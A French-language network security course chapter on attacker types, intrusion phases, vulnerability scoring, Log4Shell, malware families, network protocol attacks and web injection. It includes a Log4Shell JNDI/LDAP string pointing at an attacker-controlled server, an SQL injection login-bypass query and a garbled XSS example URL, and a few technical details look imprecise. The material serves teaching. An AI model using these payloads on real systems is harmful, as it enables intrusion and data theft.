SECURITE DES RESEAUX

Chapitre 2

Vulnérabilités des systèmes informatique et méthodes d'attaque

INTRODUCTION

1. Qu'est qu'un attaquant :

Un attaquant en sécurité informatique est une personne qui détourne la protection d'un système informatique et essaie de gagner l'accès sur ce dernier afin de le pirater. Les actions de cette personne peuvent être malveillantes (exemple: voler des informations, supprimer des données, etc.) ou bienveillantes (exemple: contribuer à l'amélioration de la sécurité d'un système)

2. Les différents types d'attaquants

Nous allons tout d'abord nous intéresser aux différents types d'attaquants (hacker) en sécurité informatique. Dans les années 80 et 90 beaucoup d'attaquants étaient juste des bidouilleurs enthousiastes et amateurs. Cependant de nos jours il s'agit de majoritairement des actions organisées et réfléchies

Il existe plusieurs types d'attaquants, catégorisés généralement en trois grands types:

2. Les différents types d'attaquants

L'attaquant éthique: appelé aussi l'attaquant au chapeau blanc (White Hat), c'est un attaquant bienveillant qui agit dans la légalité et qui cherche à protéger ses propres biens ou les biens de l'entreprise dans laquelle il travaille. Ce type d'attaquant a les mêmes connaissances qu'un attaquant malveillant en terme de méthodes et outils mais il se sert de ces connaissances pour une autre cause qui est la défense. Il demande une autorisation avant toute démarche.

2. Les différents types d'attaquants

Le pirate informatique (Cracker): appelé aussi l'attaquant au chapeau noir (Black Hat), c'est un attaquant qui agit pour des buts personnels (son propre intérêt), pour voler des données ou de l'argent. Sa façon d'agir nuit à autrui mais il ne se préoccupe pas de ce que ses actes peuvent causer comme dégâts

2. Les différents types d'attaquants

Le pirate au chapeau gris (Grey Hat): c'est un attaquant dont le but de ses actions est mitigé. Il peut par exemple pirater un site Web s'il estime que ce site nuit à autrui. Dans ce cas, il cherche à établir une justice en se limitant à son propre point de vue. Il peut aussi chercher des failles dans des systèmes ou des sites son aucune autorisation. Les actions de ce types de pirates sont considérées comme illégales.

2. Les différents types d'attaquants

Il existe d'autres types d'attaquants :

- **Les hacktivisites**: ils agissent souvent dans un but politique pour défendre une cause ou manifester contre quelque chose, ils vont mettre hors ligne des sites web ou lancer diverses cyber-attaques pour se faire entendre. Le groupe "Anonymous" est un groupe hacktiviste.
- **Les script-kiddies**: ce sont des attaquants souvent jeunes et peu expérimentés attirés par l'appât du gain. Ils utilisent des programmes déjà existants sans connaissance de cause. Souvent ils connaissent même pas les risques encourus suite à une attaque. Etant donné leur manque de connaissances, ils sont eux mêmes la cible d'autres pirates.

2. Les différents types d'attaquants

Les Spyhacker: ce sont des attaquants employés dans une entreprise mais payés par une autre entreprise (exemple: concurrent direct de l’organisation visée) pour espionner des données et pour apporter des informations confidentielles.

Le suicide Hacker (L'attaquant qui se suicide): c'est souvent un attaquant qui ne donne pas d'importance aux conséquences de ses actes (même s'il est au courant qu'il peut être sévèrement jugé), l'objectif est de lancer l'attaque "du siècle", de faire la une des journaux et d'être connu

3. Les phases d'intrusion des attaquants

Dans cette partie nous allons présenter les 5 phases par lesquelles un pirate informatique passe pour réussir son attaque:

a) La reconnaissance

b) Le balayage réseau (le scanning réseau)

c) Le gain d'accès:

d) Le maintien d'accès:

e) Couvrir les traces:

a) La reconnaissance

c'est la phase la plus facile mais la plus longue (~quelques mois) où l'attaquant essaie de récupérer le maximum d'informations sur la cible avant de passer à l'attaque. La reconnaissance est une phase d'intrusion qui peut être active ou passive:

- La reconnaissance active: l'attaquant cherche activement les informations, par exemple: il se met à coté d'un employé pour essayer d'intercepter ce qu'il tape au clavier.
- La reconnaissance passive: l'attaquant utilise internet pour essayer de récupérer le maximum d'informations publiques sur une entreprise ou une personne donnée.

Plus cette première étape est réussie plus le pourcentage que les prochaines étapes réussissent est grand.

a) La reconnaissance

Pour réussir cette phase l'attaquant peut avoir recours à plusieurs ressources:

- En ligne: Il utilise internet pour récupérer des informations sur les domaines utilisés en sein d'une entreprise (en utilisant "whois" par exemple) ou des informations un peu plus technique comme les adresses IP (en utilisant "shodan" par exemple), les technologies utilisées, etc.
- Hors ligne: Dans ce cas l'attaquant utilise des méthodes plus direct, comme chercher dans les poubelles de l'entreprise des documents internes (dumpster), se mettre à coté d'un employé pour essayer d'observer ce qu'il tape au clavier (shoulder surfing), ou même en essayant d'écouter une conversation privée (eavesdropping)

b) Le balayage réseau (le scanning réseau)

Dans cette phase l'attaquant essaie de récupérer des détails plus précis sur le système: ce qui se trouve sur ce système, quels services sont utilisés par ce système, et quels services répondent aux requêtes (exemple: chercher les ports ouverts, les vulnérabilités présentes, etc.).

Les différents types de scans:

- Ping Sweep: permet d'identifier les machines qui répondent aux requêtes sur le réseau.
- Scan de port: permet d'identifier les services qui écoutent sur des ports.
- OS Fingerprinting: permet d'identifier le(s) système(s) d'exploitation utilisé(s) au sein de l'entreprise ciblée.
- Network mapping: permet d'avoir plus d'information sur l'architecture réseau de l'entreprise ciblée.

3. Les phases d'intrusion des attaquants(suite)

c) Le gain d'accès: C'est la phase la plus critique où l'attaquant gagne l'accès au système en exploitant une vulnérabilité (humaine ou logicielle) découverte à la phase numéro 2 d'intrusion.

d) Le maintien d'accès: Une fois l'attaquant gagne l'accès à un système il va chercher à maintenir cet accès, pour qu'il se facilite les accès futurs même si la vulnérabilité qu'il a exploité sera résolue. Dans ce cas, il va chercher un autre point d'accès en installant des portes dérobées (backdoors) permettant de lui faciliter l'accès.

e) Couvrir les traces: Dans cette phase, l'attaquant cherche à détruire toute preuve de son exploitation de vulnérabilité ou de sa présence au sein de l'entreprise. Il cherche principalement à supprimer les fichiers logs qui enregistrent toutes les actions sur un système donné.

3. Les phases d'intrusion des attaquants(suite)

Remarque: Les attaquants éthiques s'arrêtent à la phase 3 vu que l'objectif d'un attaquant éthique est de se mettre à la place d'un pirate et de tester la sécurité de ses propres biens ou les biens de l'entreprise dans laquelle il travaille (exemple: un système, le réseau, une application, un mobile, etc.) afin de comprendre comment les attaques fonctionnent, quelles sont les menaces et enfin comment s'en protéger. Dans ce cas on parle de ***test*** d'intrusion (avec une autorisation).

Exemple: tester des identifiants, tester un nouveau service, tester les employés, etc.

Nous avons trois types de test d'intrusion:

Test d'intrusion

Test d'intrusion en boite noire (Black Box): consiste à faire un test d'intrusion en ayant aucune connaissance sur le fonctionnement interne du bien à tester. Dans ce cas, l'attaquant éthique va fonctionner comme un pirate informatique et n'aura aucune information.

Test d'intrusion en boite blanche (White Box): à l'inverse du test d'intrusion en boite noire, dans ce cas, l'attaquant éthique communique avec les employés de l'entreprise (par exemple: les administrateurs) qui lui donnent les détails et les informations sur l'organisation. L'attaquant éthique utilise ces informations pour essayer de s'introduire dans le système.

Test d'intrusion en boite grise (Grey Box): dans ce cas l'attaquant éthique a accès à uniquement quelques informations et essaie d'utiliser ces informations pour réussir son test d'intrusion.

II. Analyse de vulnérabilité

Les vulnérabilités sont le maillon faible de tout système dans une organisation. Une fois la vulnérabilité découverte, elle peut être exploitée par des personnes malveillantes pour gagner l'accès à un système et le nuire. Afin de comprendre les vulnérabilités et les résoudre, une analyse ou une évaluation de la vulnérabilité en question est une phase très importante et nécessaire au sein des entreprises Plusieurs éléments peuvent être la cause d'une vulnérabilités, nous citons :

- Une mauvaise configuration d'un système.
- Les mots de passes faibles.
- Les failles d’application.
- Les failles de système d’exploitation.
- La non mise à jour des technologies utilisées.
- etc

1. Analyse de vulnérabilité: pourquoi ?

L'analyse de vulnérabilité permet d’identifier des failles de sécurité sur un système ou une application donnée pour pouvoir, par la suite, résoudre ces failles et d'y apporter des améliorations. Une analyse de vulnérabilité permet aussi d'examiner si un système ou une application peut résister aux différentes attaques.

Chaque vulnérabilité possède un niveau de criticité ou de sévérité, elle peut être de sévérité faible, moyenne, haute ou critique. En plus, elle peut être exploiter à distance (l'attaquant n'a pas besoin d'être sur le réseau interne de l'entreprise) ou en locale.

1. Analyse de vulnérabilité: pourquoi ?

Afin de prouver qu'une faille existe sur un système, les attaquants ou les chercheurs doivent démontrer la faisabilité d'une attaque en exploitant cette faille en fournissant une preuve, appelée preuve de concept (PoC: proof of concept).

Le PoC peut comporter:

- La définition de la vulnérabilité en cours.
- L'identification des systèmes touchés et la version.
- Les phases ou le processus permettant d'exploiter la vulnérabilité.

2. Les phases d'analyse de vulnérabilités

Après la divulgation d'une vulnérabilité, trois phases sont nécessaires pour analyser cette dernière en entreprise:

- Phase de pré-analyse: cette phase permet d'identifier les systèmes ou technologies touchés par la vulnérabilité et de prévenir les experts des systèmes cibles.
- Phase d'analyse: dans cette phase il faut déterminer la criticité et la faisabilité de l'exploitation de cette vulnérabilité sur les systèmes identifiés dans la phase 1, il faut évaluer le risque et le niveau d'impact sur l'entreprise. C'est dans cette phase que la preuve de concept (PoC: proof of concept) est testée.
- Phase de post-analyse: cette phase consiste à appliquer les correctifs nécessaire pour contrer la vulnérabilité et d'améliorer les règles de sécurité.

3. Notation des vulnérabilité

Il existe plusieurs systèmes de notation, nous citons :

- **CVE** (Common Vulnerabilities and Exposures) ou vulnérabilité et divulgation commune: C'est une base de donnée permettant de partager les vulnérabilités déjà connues. Cette base est maintenue par l'organisme MITRE. Chaque Vulnérabilité a son propre CVE représentée par l'année de la détection de la vulnérabilité suivit par un identifiant spécifique à cette dernière (exemple: CVE-2021- 44228).
- **CVSS** (Common Vulnerability Scoring System) ou Système commun de notation de vulnérabilité : c'est un score sur 10 qui représente le niveau de risque d'une vulnérabilité. Plus le score est élevé plus le niveau de risque est élevé
- **NVD** (National Vulnerability Database) ou base de données nationale de vulnérabilité : c'est un référentiel standard du gouvernement américain des données de gestion des vulnérabilités. Ces données permettent d'automatiser la gestion des vulnérabilités, de mesurer la sécurités et la conformité. La NVD contient des bases de données contenant des listes de contrôle de sécurité, des noms de produit et des mesures d'impacts.

4. Exemple de Vulnérabilité Log4Shell

Log4shell: c'est le nom donné à la vulnérabilité, alors que Log4j est le nom de la librairie qui a été impactée.

Log4J: est une librairie développée par Apache permettant aux développeurs de gérer les logs (journalisation) de leurs applications.

Apache a été mise au courant de cette vulnérabilité le 24 novembre 2021 par un chercheur, la vulnérabilité est restée secrète jusqu'au développement d'un premier correctif 2.15 (patch). La divulgation de cette vulnérabilité a été faite le 09 décembre 2021. Malheureusement en testant le patch, d'autres vulnérabilités ont été découvertes ce qui a fait qu'Apache a mis en place d'autres patch (2.16 ensuite 2.17.x) afin de corriger la totalité de la vulnérabilité

Impact

Beaucoup de systèmes et applications ont été impactés, vu que c'est une librairie utilisée par énormément d'applications.

Toutes les versions de Log4J ont été impactées

Les CVE:

Nous avons quatre CVE concernant la vulnérabilité Log4shell.

- CVE-2021-44228 avec un CVSS : 9.3/10, patch version: Log4j 2.15.0 (vulnérable)
- CVE-2021-45046 avec un CVSS : 9/10, patch version: Log4j 2.16.0 (vulnérable)
- CVE-2021-45105 avec un CVSS : 5.9/10, patch version: Log4j 2.17.0 (vulnérable)
- CVE-2021-45832 avec un CVSS: 6.6/10, dernier patch version: Log4j 2.17.1

Log4Shell (suite)

Les deux premières vulnérabilités permettent une exécution de code à distance ce qui signifie qu’un attaquant peut uploader un ransomeware sur le serveur cible, installer des cryptominer ou des bots, prise de contrôle à distance, etc. Nous sommes au maximum en terme de niveau de risque.

Fonctionnement de l'attaque

Dans la librairie Log4J il y'a une fonction de recherche appelée "Jndi" permettant d'utiliser les protocoles réseaux pour chercher des données sur des serveurs extérieurs pour pouvoir les exécuter par la suite sur le serveur interne. Le problème est qu'aucun contrôle n'a été mis en place pour vérifier les données à récupérer à distance. Ce qui signifie que si le serveur à distance est contrôlé par un attaquant, une injection de code malveillant peut avoir lieu.

l'attaquant peut envoyer une requête HTTP au serveur Log4J vulnérable avec la fonction de recherche Jndi en se servant du protocole réseau LDAP (exemple: {jndi:LDAP:@IP du serveur contrôlé par l'attaquant/Malveillant.code).

Le serveur Log4J vulnérable va récupérer le code "Malveillant.code" du serveur LDAP contrôlé par

l'attaquant et va l'exécuter sans faire aucun contrôle.

Pour information, d'autres protocoles peuvent être utilisés comme le DNS ou RMI.

5. Les vulnérabilités Zéro-day (jour zéro)

Il existe des vulnérabilités qui n'ont aucun correctif, on parle de vulnérabilité zéro-day. Ce qui signifie que la vulnérabilité a été divulguée et que les développeurs ou les fournisseurs ont zéro-jour pour

corriger la faille avant que les personnes malveillantes l'exploite pour nuire au système cible.

Cette phase de zero-day n'est que transitoire et peut être exploitable tant qu'elle n'a pas été corrigée.

6. Outils de scan de vulnérabilités

Il existe plusieurs outils de scan de vulnérabilités, parmi ces outils nous citons: QUALYS, NMAP, NESSUS, OPENVAS, NIKTO, NETSCAN, etc.

Attention: Vous n'avez pas le droit d'utiliser ces outils pour découvrir des vulnérabilités sur des systèmes qui ne vous appartiennent pas.

III. Méthodes d'attaques

1. Les différents types d'attaques:

Dans un premier temps les attaques peuvent être catégorisées dans deux type:

Attaques passives : tentent de collecter/utiliser des informations relatives au système sans affecter ses ressources. Ce type d’attaque est difficile à détecter.

Parade: Nous pouvons limiter les risques par le chiffrement et la signature.

Exemples :

- Interception des données et extraire des informations : e-mail ou écoute d’une communication téléphonique.
- Analyse de trafic : interception et analyse du trafic.

III. Méthodes d'attaques

Attaques actives : tentent d’introduire des modifications sur les ressources du système ou affecter son fonctionnement normal.

Exemples :

- Mascarade : prétendre être une entité afin d’obtenir des privilèges root.
- Replay : capture passive des données et les réutiliser en vue de réaliser des actions non autorisées (exemple : DNS poisoning).
- Fabrication : injection de messages afin de produire un effet non autorisé.
- Modification : modifier le contenu d’un message échangé entre deux parties communicantes (exemple : attaque MITM)

III. Méthodes d'attaques

Ensuite nous avons différents types d'attaques dans lesquels chaque attaque peut être active ou passive:

- Attaques sur les protocoles réseau.
- Attaques sur les programmes.
- Attaques par code malicieux.
- Attaques par messagerie électronique.
- etc.

III. Méthodes d'attaques

2. Les impacts des attaques:

- impact sur l'image de l'entreprise.
- impact sur la vie privée.
- Pertes financières.
- Déni de service.
- Utilisation non autorisée des systèmes informatiques.
- Perte, changement et/ou altération des données ou logiciels
- etc.

III. Méthodes d'attaques

3. Les attaques par code malicieux:

Un code malicieux (malware en anglais qui vient de Malicious Software) désigne un logiciel malveillant très utilisé dans la cyber sécurité et développé dans le but de nuire à un système informatique. Il existe plusieurs type de malware:

III. Méthodes d'attaques

a. Les Virus informatique: le terme virus, vient du terme virus biologique. Lorsqu'un programme légitime infecté par un virus se lance, le programme du virus est lancé en même temps. Ce dernier peut s'injecter dans un autre programme pour qu'il se multiplie et se propage. Il peut supprimer des fichiers, modifier des fichier, détruire un système, etc.

Le virus a la capacité de modifier sa structure ainsi que les instructions qui le composent. Il a cependant besoin d'un programme ou système hôte pour être exécuter.

Exemple: Le virus Chernobil qui restait dormant jusqu'à la date du 26 avril, une fois cette date atteinte il commençait à détruire les machines infectées par ce dernier.

III. Méthodes d'attaques

b. Les Vers informatique:

C'est un programme qui cherche à se propager dans le réseau automatiquement et d'infecter le maximum de machines. le vers peut se propager via les réseau sociaux ou via la messagerie électronique.

Exemples:

Réseau social: le ver Facebook "c'est toi dans cette vidéo" qui une fois l'utilisateur clique sur la vidéo il doit télécharger un programme pour voir la vidéo et qui est en réalité le ver qui va par la suite se dupliquer sur les contacts de la personne ayant cliquer.

Messagerie électronique: le ver appelé "i love you" qui est un e-mail avec une pièce jointe, une fois la personne clique sur la pièce jointe, ce dernier modifie le registre du système pour se propager automatiquement à tous les contacts de la personne ayant cliquer sur ce dernier.

III. Méthodes d'attaques

Remarque: la différence entre un ver et un virus est le fait que le ver, une fois installé sur une machine, il va essayer de se propager par ses propres moyens tandis que le virus reste dormant jusqu'à ce qu'il soit lancer manuellement ou avec une date de déclenchement.

III. Méthodes d'attaques

c. Les malwares Espions (Spyware):

Ce sont des logiciels malveillants qui une fois installés sur une machine ils essaient de se cacher le plus longtemps possible.

Contrairement aux autres logiciels qui cherchent à causer des dégâts, le logiciel espion cherche à collecter (à voler) à l'insu de l'utilisateur légitime des informations confidentielles comme les mots de passe, le code de carte de crédit, etc.

Exemple: le Keylogger ou enregistreur de frappe: enregistre tout ce qu'un utilisateur tape sur son clavier et l'envoie à son propriétaire. Il existe des keyloggers plus avancés qui peuvent récupérer les URLs visitées, les conversations, des captures d'écran, etc

III. Méthodes d'attaques

d. Les Chevaux de Troie (Trojans): Ce type de logiciel malveillant cache une charge utile dans un programme à l'apparence seine. La charge utile peut être un outils d'administration à distance, un logiciel espion, introduire une porte dérobée, etc.

La technique utilisée est appelée Binding (lié quelque chose). Le principe est de lier un programme légitime avec un programme malveillant en un seul programme. Une fois l'utilisateur clique sur le programme légitime, les deux programmes s'exécutent en même temps (le programme malveillant s'exécute en arrière plan sans aucune interface graphique).

A l'inverse des virus, un Cheval de Troie ne se reproduit pas.

III. Méthodes d'attaques

e. Les publiciels (Adwares):

Ce sont des logiciels spécialisés dans la publicité dont le but est financier (gain d'argent).

Il y'a même des entreprises qui proposent ce qu'on appelle un programme d'affiliation incitant des utilisateurs à leur aider à vendre des produits contre un pourcentage de gain. L'utilisateur peut aussi être payé aux cliques.

III. Méthodes d'attaques

f. Les Rançongiciels (Ransomwares):

Les plus récents des logiciels malveillants vu jusqu'ici. Ce type de malware permet de chiffrer tout les documents et fichiers du système infecté.

Une fois le système infecté, les attaquants exigent ensuite une rançon pour envoyer la clé de déchiffrement. De nos jours, la rançon est demandée sur une cryptomonnaie afin de garantir l'anonymat de la transaction et éviter la récupération de la rançon.

III. Méthodes d'attaques

g. Les Cryptominers:

Ce sont des logiciels malveillants permettant de voler les ressources (puissance de calcul) d’un système infecté afin de générer des cryptomonnaies.

Ce sont des lignes de code injectées dans un site Web et exécutées en arrière plan.

h. Les Chiffreurs (Crypters):

Logiciels conçus pour aider d'autres logiciels malveillants à être indétectables. Ils ne sont pas malveillant en tant que tel mais aident à réussir des attaques.

III. Méthodes d'attaques

i. Les alarmiciel (Scarewares):

Des logiciels conçus pour faire peur à l'utilisateur et le tromper. Un attaquant peut par exemple faire croire à l'utilisateur que sa machine est infectée avec plusieurs virus et qu'il faut mettre à jour son antivirus.

Une fois l'utilisateur clique sur le lien de la mise à jour, l'attaquant peut demander un paiement pour la mise à jour, ou télécharge un vrai programme malveillant.

j. Les Portes Dérobées (Backdoors):

Se sont des logiciels installés par un attaquant via par exemple un virus afin de lui permettre un accès distant et permanent sur un système infecté.

III. Méthodes d'attaques

k. Les Générateurs de Clés (Keygen):

Ce sont des programmes permettant de générer un grand nombre de clés dans le but et d'utiliser un logiciel payant de façon illégale. Il peuvent aussi être utilisés pour cracker des identifiants d’un utilisateur. On parle de l'attaque par force brute.

A noter que les malwares peuvent être combinés, ce qui rend la détection difficile.

III. Méthodes d'attaques

4. Les attaques sur les protocoles réseau:

Ce type d'attaque est lié principalement aux failles des protocoles réseaux.

Nous allons citer quelques attaques bien connues:

III. Méthodes d'attaques

a. IP Spoofing

Le but de cette attaque est d'usurper l'adresse IP d'une autre machine légitime. Cette usurpation peut se faire à l'aide d'outils comme "hping" qui permet de spécifier l'adresse IP source sur un paquet transitant le réseau vers une destination "D" donnée. Cependant, à la réception de ce paquet (ou requête) la machine distante "D" va renvoyer le paquet réponse à la vrai machine dont l'IP a été usurpée, ce qui signifie que l'attaquant ne va pas recevoir la réponse.

Il existe une méthode pour contourner ce comportement est d'envoyer des paquets aux routeurs afin de modifier les tables de routage. Ainsi, l'attaquant pourra recevoir les paquets réponses.

Cette attaque est utilisée principalement dans le cas où l'authentification se base sur une adresse IP comme les services "rlogin" et "ssh".

III. Méthodes d'attaques

b. ARP Spoofing

Rappel sur le fonctionnement du protocole ARP: Les équipements réseaux communiquent en échangeant des trames Ethernet au niveau de la couche liaison de données, et dans ce cas ils ont besoin d’une adresse unique au niveau Ethernet, on parle de l'adresse MAC. Le protocole ARP (Address Resolution Protocol) implémente le mécanisme de résolution d'une adresse IP en une adresse MAC Ethernet.

Si une machine "A" veut communiquer avec une machine "B", "A" diffuse sur le réseau local une requête ARP: "Quelle est l'adresse MAC associée à l’adresse IP de B?". La machine ayant cette adresse IP (notamment la machine "B") répond via un paquet ARP, cette réponse indique à la machine "A"l'adresse MAC recherchée. Une correspondance gardée pendant un certain temps au niveau du cache de la machine A.

III. Méthodes d'attaques

Attaque ARP spoofing

Cette attaque consiste à rediriger le trafic réseau d'une ou plusieurs machines vers la machine du pirate en corrompant le cache ARP d'une machine victime.

L’attaque envoie des paquets ARP réponse à la machine cible indiquant que la nouvelle adresse MAC correspondant à l'adresse IP d'une passerelle (par exemple) est la sienne. La machine du pirate recevra

tout le trafic à destination de la passerelle, il lui suffira alors d'écouter passivement le trafic (et/ou le modifier). Il routera ensuite les paquets vers la véritable destination.

III. Méthodes d'attaques

c. DNS Spoofing

Rôle du protocole DNS: Le protocole DNS a pour rôle de convertir un nom de domaine en son adresse IP et réciproquement.

Attaque DNS spoofing: Cette attaque consiste à faire parvenir de fausses réponses aux requêtes DNS émises par une victime. Ce qui signifie que la victime aura une fausse IP pour un nom de domaine.

Il existe deux types d'attaques:

III. Méthodes d'attaques

DNS ID Spoofing

Pour faire correspondre les réponses aux demandes, l'en-tête du protocole DNS comporte un champ identification (ID). L'objectif du DNS ID Spoofing est de renvoyer une fausse réponse à une requête DNS émise par un utilisateur légitime avant le serveur DNS. Pour cela il faut prédire l'ID de la demande.

En local: il est simple de le prédire en sniffant le réseau.

A distance: plus compliqué, l’attaque doit :

- Essayer toutes les possibilités du champ ID. Pas très réaliste, il y a 65535 possibilités, l’ID est codé sur 16 bits.

- Trouver un serveur qui génère des ID prévisibles (incrémentation de 1 de l'ID par exemple, cela existait sur les anciennes versions de Windows et Linux).

III. Méthodes d'attaques

DNS Cache Poisoning

les serveurs DNS contiennent un cache permettant de conserver une correspondance IP/nom de domaine pendant un certain temps. Dans cette attaque, le pirate cherche à corrompre ce cache avec des information erronées. Ces informations erronées sont envoyées comme réponse par un serveur DNS contrôlé par l'attaquant aux demandes du serveur légitime cherchant l'IP d'un nom de domaine. Une fois la réponse est reçue par le serveur légitime, son cache est corrompu

III. Méthodes d'attaques

DNS spoofing

L'attaque DNS Spoofing peut être utilisée afin de rediriger les utilisateurs d'internet vers des sites malveillants. Ces sites auront pour objectif de voler des identifiants ou de télécharger des virus ou de

nuire à la machine victime, etc.

Dans ce cas l'attaquant dois répondre à la machine/serveur victime avant qu'un autre serveur sein le fasse

III. Méthodes d'attaques

d. Attaques par Fragmentation (Fragment attack)

Principe de la fragmentation: lorsqu'un paquet est émis sur le réseau, il peut être fragmenter en plusieurs paquets IP afin de respecter la taille maximale qu'un support de transmission peut supporter. Si un fragment a besoin d'être fragmenter encore une fois au niveau des équipement intermédiaire (exemple: routeur), ce dernier peut soit le fragmenter soit le rejeter suivant un flag disponible dans l'entête IP du fragment. L'entête IP ne peut pas être fragmenter.

III. Méthodes d'attaques

d. Attaques par Fragmentation (Fragment attack)

L'attaque: il existe principalement deux attaques par fragmentation

- Tiny fragments: L'attaquant fragmente la demande de connexion en deux petits paquets IP.

Le premier paquet ne contient que le strict minimum comme information (@IP de destination et le port de destination). Tandis que le deuxième fragment IP contient les vraies informations sur l'établissement de connexion.

A la réception du premier paquet, l'équipement de filtrage le laisse passer car il ne contient aucune information suspecte. Cependant, il ne vérifie pas le deuxième fragment (considéré sans risque comme le premier fragment). Une fois tous les fragments IP reçus au niveau de la

destination et la défragmentation effectuée, la connexion s'établit.

III. Méthodes d'attaques
Fragments overlapping

lors de la fragmentation d'un paquet IP en plusieurs fragments, un numéro appelé Offset est ajouté à chaque fragment. Un offset permet de positionner les fragments au niveau de la destination pendant la phase de défragmentation.

L'attaquant dans ce cas envoie le premier fragment complet avec toutes les informations sauf pour le flag de synchronisation qui est envoyé avec une valeur "0" pour que l'équipement de filtrage l'accepte et le laisse passer. Tandis que le deuxième fragment est envoyé qu'à partir du numéro d'ACK contenant ainsi que les informations sur le numéro

offset, les flags de communication (avec le flag Syn à "1") et le numéro d'acquittement.

III. Méthodes d'attaques
Fragments overlapping

L'offset du deuxième fragment est envoyé de tel sorte à ce qu'il chevauche avec le premier fragment et il est analysé indépendamment des autres fragments par l'équipement de filtrage, ce dernier le laisse passer.

A la réception des deux fragments, le deuxième fragment écrase le premier et la demande de connexion est bien valide (l'attaque est réussie).

Le but de l'attaque par fragmentation est de contourner les filtrages (FW, IDS, etc.)

Un attaquant qui réussi une attaque par fragmentation pourrait s'infiltrer dans le réseau et effectuer d'autres attaques pour récupérer des informations confidentielles par exemple.

III. Méthodes d'attaques

e. Vol de session (TCP Session Hijacking)

Le but de cette attaque est de prendre le contrôle des communications entre deux machines permettant d'accéder au contenu de la communication sans aucune authentification. On parle de vol de session déjà établie en exploitant des vulnérabilité dans un protocole réseau.

L'attaquant va tout d'abord écouter le réseau et une fois qu'il estime que l'authentification a été faite entre les deux machines communicantes, il vole l'ID de session et construit un nouveau paquet avec cet ID et l'IP source de la machine cible et envoie ce paquet à l'autre machine. Cette méthode va lui permettre de non seulement désynchroniser la connexion entre les deux machines mais aussi se connecter sans authentification et lancer des commandes.

III. Méthodes d'attaques

f. L'homme au milieu (Man in the middle: MITM)

Dans cette attaque, l'attaquant se met entre deux machines communicantes "A" et "B" et intercepte tout le trafic à l'insu des deux machines. L'attaquant joue le rôle de proxy par exemple et reçoit le

trafic de "A" qui va par la suite le transférer à "B" et inversement. Il peut se contenter d'une écoute passive afin de collecter des informations confidentielles (attaque passive) ou modifier le contenu des paquets (attaque active)

III. Méthodes d'attaques

g. Déni de service

Le déni de service est une attaque visant à rendre une machine injoignable sur le réseau ou un service indisponible (exemple: serveur web, serveur de messagerie, etc.).

Cette attaque peut s'effectuer en utilisant plusieurs méthodes, ci-après quelques attaques:

III. Méthodes d'attaques

g. Déni de service

TCP SYN Flooding: L'attaquant exploite la connexion en trois phase de TCP (Three Way Handshake) en envoyant plusieurs paquets (un très grand nombre) de demande de connexion SNY. La machine distante va renvoyer par la suite une réponse SYN/ACK. A la réception de ce SYN/ACK l'attaquant devrait répondre par ACK mais il ne le fait pas. La machine distante se retrouve alors avec plusieurs connexions en cours qui occupent la mémoire, ce qui va entrainer une saturation et indisponibilité du système.

UDP Flooding: Lors de la réception des paquets, le trafic UDP est plus prioritaire sur le trafic TCP. Dans ce cas, l'attaquant inonde la machine distante avec des paquets UDP rendant impossible la réception et le traitement des paquets TCP en occupant la bande passante de la machine cible. Ainsi toutes les connexions TCP sont indisponible.

III. Méthodes d'attaques

g. Déni de service

Attaque par rebond (Smurfing): L'attaquant envoie des requêtes ICMP (ICMP_Request) à des machines de broadcast avec l'adresse IP source de la victime dans les requêtes. A la réception des requêtes ICMP toutes les machines vont envoyer des paquets de réponse ICMP_Replay à l'adresse IP de la victime. La machine cible (victime) va se retrouver inondée avec des réponses qui causeront une saturation et effondrement du système.

Déni de service distribué (DDoS): Avant de réaliser cette attaque, le pirate va tout d'abord chercher à contrôler à distance plusieurs machines (à l'insu de leurs véritable propriétaires) en exploitant des vulnérabilités et à construire ce qu'on appelle un botnet. Une fois son réseau de botnet construit, il donne l'ordre à ses machines d'attaquer un système en même temps (exemple: attaque de Syn Flooding). Ce type d'attaque peut rendre une machine ou tout un réseau totalement indisponible.

III. Méthodes d'attaques

5. Les attaques sur les programmes

Ce type d'attaques se base sur des failles au niveau des programmes utilisés. Nous citons:

a. Buffer Overflow: ou dépassement de la pile, c’est une faille due à une mauvaise programmation.

Un buffer overflow apparaît quand une variable passée en argument d'une fonction est recopiée dans un buffer sans que sa taille n'ait été vérifiée. Conséquence : Le pirate obtiendra le moyen d'exécuter à distance des commandes sur la machine cible avec les droits de l'application attaquée.

III. Méthodes d'attaques

b. Les attaques par injection

Afin de permettre à un utilisateur d'interagir avec un site Web, les applications Web sont dotées par des champs de recherches, des champs de commentaires, des champs d'authentifications ou des formulaires, Une fois l'utilisateur légitime entre des informations (exemple: login/mot de passe), elles seront traitées et envoyées à la base de données pour pouvoir s'authentifier par exemple. L'attaquant dans ce type d'attaque cherche à injecter un code ou une requête dans ces champs de façon non autorisée. Il existe deux type d'attaques par injection:

III. Méthodes d'attaques

Injection SQL (SQLi)

Dans cette attaque, le pirate cherche à injecter des requêtes SQL au lieu de mettre le login et le mot de passe sur le champ cible. Ces requêtes sont traitées directement par le moteur SQL et pourront modifier ou supprimer les champs d'une base de données ou le comportement du site si ce dernier n'est pas correctement protégé contre cette attaque.

III. Méthodes d'attaques
Injection SQL (SQLi)

Exemple de requête normale:

SELECT * FROM TableEtudiants WHERE username='Bob' AND password='Mot2PasseBob2022'

Avec cette requête l'utilisateur "Bob" sera authentifié si son login/mot de passe est correct et bien présent dans la base de données TableEtudiants.

Exemple de requête contournée par une injection SQL classique:

SELECT * FROM TableEtudiants WHERE username=1' or '1'='1' AND password=1' or '1'='1'

Avec cette requête l'attaquant sera authentifié avec n'importe quel compte de la base de données TableEtudiants (ici le premier compte de la TableEtudiants sera utilisé).

III. Méthodes d'attaques

Cross Site Scripting (XSS)

Ces attaques ont pour but de prendre le contrôle d'un navigateur web afin d'avoir accès aux cookies et aux sessions de l'utilisateur cible, elles peuvent aussi engendrer des modifications indésirables et créer des liens malveillants au sein d'une

application web.

L'attaquant cherche à injecter un script JavaScript au niveau d'un formulaire, de l'URL, dans l'entête HTTP, etc. Ce script s'exécute directement dans le code de l'application web.

Exemple d'URL avec un script essayant d'exécuter l'attaque XSS:

coursISIDS.dz/index.html?query=<img src+onerror%3Dalert%45%piiraaaaxxxx%87”....>

III. Méthodes d'attaques

Cross Site Scripting (XSS)

Avec cette URL, le domaine "coursISIDS.dz" est légitime mais la fin de l'URL ne l'est pas. On peut aussi voir que l'attaquant a essayé d'effectué l'attaque avec une image. Une fois l'utilisateur clique sur le lien un code arbitraire peut être exécuté.

L'injection SQL et le XSS ont été classées les troisièmes dans le top 10 d'OWASP 2021

III. Méthodes d'attaques

c. Défacement de site web

Un défacement désigne la modification de la présentation d'un site web sans autorisation suite à un piratage de ce dernier.

